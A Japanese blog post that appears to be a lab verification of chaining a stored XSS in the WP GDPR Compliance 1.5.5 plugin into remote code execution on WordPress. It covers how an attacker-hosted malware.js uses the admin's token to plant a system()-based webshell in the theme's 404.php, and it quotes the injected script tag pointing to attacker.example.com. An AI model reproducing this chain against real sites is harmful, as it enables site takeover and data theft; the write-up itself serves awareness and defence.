TL;DR
- WordPressで構築したサイト で XSS から RCE につなげる
- そのために Webshell を配置
はじめに
2021年5月7日にECサイトを構築できるソフトウェアである EC-CUBE にXSSの脆弱性があると公表されました。
驚くことにこのXSSの脆弱性は既に悪用され、攻撃を受けたサイトではクレジットカード情報の漏洩が確認されたとのこと。
この件と WordPress にどのような関係があるのかというと、WordPressに導入しているプラグインに XSS が存在している場合に EC-CUBE のときと同様に Webshell を配置することができるかどうかの検証を本記事では行います。
EC-CUBE が標的となった事例は以下の記事が参考になります。
blog.trendmicro.co.jp
本記事では、実際にある WordPress プラグインに発見された XSS を使って Webshell を配置するまでの流れを説明をしていきます。
検証
今回の検証環境は以下のとおりです。
WordPressのバージョンが異なると記述してあるスクリプトがうまく動かない可能性があります。
| ソフトウェア名 | バージョン | 備考 |
|---|---|---|
| WordPress | 5.7.2 (2021年6月11現在最新) | - |
| WP GDPR Compliance | 1.5.5 | XSSの脆弱性があるバージョン |
①【管理者】脆弱性が存在しているプラグインのインストール
この検証の前提として、WordPressサイトに認証不要のXSSの脆弱性がある必要があります。
WordPressのプラグインは日々脆弱性が発見されています。その中から本検証で利用できそうなものを探し、脆弱性が修正されていないバージョンのプラグインをインストールします。
今回は「WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS) Security Vulnerability」の脆弱性を利用します。
脆弱性の説明には「認証不要で管理画面にXSSできる」と記載がありますので、本検証にはうってつけの脆弱性です。
このプラグインに興味がある方はググってみてください。日本語の記事もあり、アクティブインストール数も20万以上もあることから人気なプラグインであることがわかります。
そんな感じで WP GDPR Compliance をインストールしました。バージョンも 1.5.5 であることが確認できます。
次に脆弱性の検証に必要なプラグインの設定を行います。WP GDPR Compliance の設定画面で下画像の赤枠のよう設定します。
この設定を行うことによって、後に埋め込まれる JavaScript の項目が表示されるようになります。
Requests タブを表示します。
インストール直後は何もデータが無いですが、後々この画面に悪意ある JavaScript が埋め込まれます。
これで準備は環境です。つまり脆弱なサイトの完成となります。
②【攻撃者】管理画面にスクリプトの埋め込み (XSS)
次は攻撃者側の準備です。
まず標的となるサイトの管理画面上で読み込ませたい JavaScript ファイルを作成します。
このスクリプトの主な処理内容は以下のとおりです。
- テーマの編集画面からセキュリティトークンの取得
- system関数を用いたWebshellを404ページに埋め込むためのリクエストを送信
検証では malware.js のファイル名で保存しているので、XSSで script タグを埋め込む場合はこのファイル名を参照するようにします。
まずプラグインのXSSを再現させるためにはセキュリティトークンが必要になりますが、サイトトップのHTML内にあります。
取得したセキュリティトークンを用いて以下のように標的となるサイトにリクエストを送信します。
攻撃に成功すると<script src=http://attacker.example.com:9000/malware.js><script> がサイト管理画面に挿入されます。
管理画面にタグが埋め込まれるため攻撃者側からタグの有無は確認できません。
ひとまず404ページを確認してみます。Webshell が埋め込まれる前は下画像の状態です。
③【管理者】悪意あるJavaScriptの実行
サイト管理者は「匿名化リクエストの管理画面」を確認したとします。
ブラウザの表示上は特に異変は何もなさそうですが、この画面のHTMLソースコードを確認してみます。
攻撃者によって scriptタグが埋め込まれており、攻撃者のXSSスクリプトサーバ上のmalware.jsの読み込みが行われていることが確認できます。
JSファイルの処理内容は先に説明してある通り、webshell を配置するリクエストを送信する処理でした。
そのためこのファイルが読み込まれた時点で以下のリクエストが送信されていました。
ステータスコードは200で返ってきていますので、テーマ編集画面から取得したセキュリティトークンの検証も問題なく終え、テーマ編集処理が成功したことが分かります。（サイト管理者からすれば成功してしまった・・・）
念のためテーマ編集画面から404ページのソースコードを確認してみましたが、やはり勝手に Webshell が埋め込まれていました。
④【攻撃者】Webshellの起動
そして 404ページは何らかのエラーが表示されるようになりました。
system関数に値を渡せとありますので、無事 webshell の配置することができました。
任意のコマンドが実行できることも確認できました。
攻撃は成功したようです。
今回は webshell 配置をしましたが、管理画面での操作はほとんどできそうです。攻撃者が指定したプラグインのインストール・有効化などもできそうです。（※確認はしていません）
テーマの404.phpではなくfunctions.phpを書き換えることで 404ページ以外にも影響を与えることも可能そう。
まとめ
XSS経由で管理者の操作をする攻撃は今後増えていきそう。
対策もなかなか難しそうな問題とも思ったり...。
Webshell に改ざんした時に駆除されたり。
(でも実際のWebshellは複雑で検知されないものもあるので、スキャンツールに頼りすぎないように)
404.php ファイル カエセ pic.twitter.com/FERrlbiqa2
— motikan2010 (@motikan2010) 2021年6月10日
更新履歴
- 2021年6月11日 新規作成